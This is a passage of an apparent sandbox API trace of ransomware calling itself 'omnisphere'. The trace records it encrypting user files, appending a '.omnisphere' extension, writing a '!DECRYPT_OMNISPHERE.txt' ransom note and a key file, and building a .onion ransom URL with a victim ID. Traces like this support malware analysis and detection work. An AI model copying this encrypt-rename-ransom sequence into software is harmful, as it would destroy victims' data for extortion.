Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.501] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.502] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.503] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.504] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.505] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.506] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.507] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.507] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.507] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.507] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.507] CryptEncrypt (in: hKey=0x1639628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e11c*, pdwDataLen=0x3e0e130*=0x10) returned 1 [0063.511] CryptDestroyKey (hKey=0x1639628) returned 1 [0063.511] CryptReleaseContext (hProv=0x163b7d8, dwFlags=0x0) returned 1 [0063.511] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x1066b, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.511] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e6c8, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e6c8*=0x524, lpOverlapped=0x0) returned 1 [0063.511] GetProcessHeap () returned 0x1600000 [0063.511] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x27c) returned 0x1653ff0 [0063.512] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jdqewi6arw.xls"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jdqewi6arw.xls.omnisphere")) returned 1 [0063.513] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls.omnisphere.id" [0063.513] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\jdqewi6arw.xls.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0063.513] WriteFile (in: hFile=0x3a8, lpBuffer=0x3e0e168*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e150, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesWritten=0x3e0e150*=0x524, lpOverlapped=0x0) returned 1 [0063.515] CloseHandle (hObject=0x3a8) returned 1 [0063.516] UnmapViewOfFile (lpBaseAddress=0x3450000) returned 1 [0063.517] CloseHandle (hObject=0x3a4) returned 1 [0063.517] SetEndOfFile (hFile=0x3a0) returned 1 [0063.517] FlushFileBuffers (hFile=0x3a0) returned 1 [0063.522] CloseHandle (hObject=0x3a0) returned 1 [0063.522] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\JDQEwi6ArW.xls" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0063.522] GetProcessHeap () returned 0x1600000 [0063.522] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1654aa8 [0063.522] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0063.522] GetProcessHeap () returned 0x1600000 [0063.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1641bd8 [0063.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1641bd8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0063.523] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0063.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0063.523] GetProcessHeap () returned 0x1600000 [0063.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x162fad0 [0063.523] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x162fad0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0063.523] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0063.523] GetProcessHeap () returned 0x1600000 [0063.523] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7e) returned 0x163c6b8 [0063.523] PathCombineW (in: pszDest=0x163c6b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" [0063.524] GetProcessHeap () returned 0x1600000 [0063.524] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x165c598 [0063.524] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.524] WriteFile (in: hFile=0x3a0, lpBuffer=0x165c598*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0e6e8, lpOverlapped=0x0 | out: lpBuffer=0x165c598*, lpNumberOfBytesWritten=0x3e0e6e8*=0x588, lpOverlapped=0x0) returned 1 [0063.524] CloseHandle (hObject=0x3a0) returned 1 [0063.524] GetProcessHeap () returned 0x1600000 [0063.525] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1654aa8 | out: hHeap=0x1600000) returned 1 [0063.525] GetProcessHeap () returned 0x1600000 [0063.525] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163fc00 [0063.525] PathCombineW (in: pszDest=0x163fc00, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" [0063.525] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.525] WriteFile (in: hFile=0x3a0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0e6fc, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0e6fc*=0x5a0, lpOverlapped=0x0) returned 1 [0063.525] CloseHandle (hObject=0x3a0) returned 1 [0063.526] GetProcessHeap () returned 0x1600000 [0063.526] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fc00 | out: hHeap=0x1600000) returned 1 [0063.526] GetProcessHeap () returned 0x1600000 [0063.526] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1649e70 | out: hHeap=0x1600000) returned 1 [0063.526] FindNextFileW (in: hFindFile=0x16395e8, lpFindFileData=0x3e0e998 | out: lpFindFileData=0x3e0e998*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x732eaf50, ftCreationTime.dwHighDateTime=0x1d4cf36, ftLastAccessTime.dwLowDateTime=0x8563a270, ftLastAccessTime.dwHighDateTime=0x1d4ca54, ftLastWriteTime.dwLowDateTime=0x8563a270, ftLastWriteTime.dwHighDateTime=0x1d4ca54, nFileSizeHigh=0x0, nFileSizeLow=0x18d67, dwReserved0=0x0, dwReserved1=0xed, cFileName="k0UuJx_g_DcQHkPS7.png", cAlternateFileName="K0UUJX~1.PNG")) returned 1 [0063.526] GetProcessHeap () returned 0x1600000 [0063.526] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x7a) returned 0x163c498 [0063.526] PathCombineW (in: pszDest=0x163c498, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming", pszFile="k0UuJx_g_DcQHkPS7.png" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png" [0063.526] StrStrW (lpFirst=".omnisphere", lpSrch=".png") returned 0x0 [0063.526] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\k0UuJx_g_DcQHkPS7.png" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\k0uujx_g_dcqhkps7.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0063.527] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0e6c0 | out: lpFileSize=0x3e0e6c0*=101735) returned 1 [0063.527] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x18843, lpNewFilePointer=0x0, dwMoveMethod=0x3e0e6b4 | out: lpNewFilePointer=0x0) returned 1 [0063.527] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0e168, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0e6b0, lpOverlapped=0x0 | out: lpBuffer=0x3e0e168*, lpNumberOfBytesRead=0x3e0e6b0*=0x524, lpOverlapped=0x0) returned 1 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.527] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.528] GetTickCount () returned 0x1150319 [0063.529] GetTickCount () returned 0x1150319 [0063.529] GetTickCount () returned 0x1150319 [0063.529] GetTickCount () returned 0x1150319 [0063.529] GetTickCount () returned 0x1150319 [0063.529] CryptAcquireContextW (in: phProv=0x3e0e148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0e148*=0x163c520) returned 1 [0063.530] CryptImportKey (in: hProv=0x163c520, pbData=0x3e0e0b0, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0e154 | out: phKey=0x3e0e154*=0x1639728) returned 1 [0063.530] CryptEncrypt (in: hKey=0x1639728, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x75, dwBufLen=0x80 | out: pbData=0x3e0e600*, pdwDataLen=0x3e0e144*=0x80) returned 1 [0063.530] CryptDestroyKey (hKey=0x1639728) returned 1 [0063.531] CryptReleaseContext (hProv=0x163c520, dwFlags=0x0) returned 1 [0063.531] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x18d67, lpName=0x0) returned 0x3a4 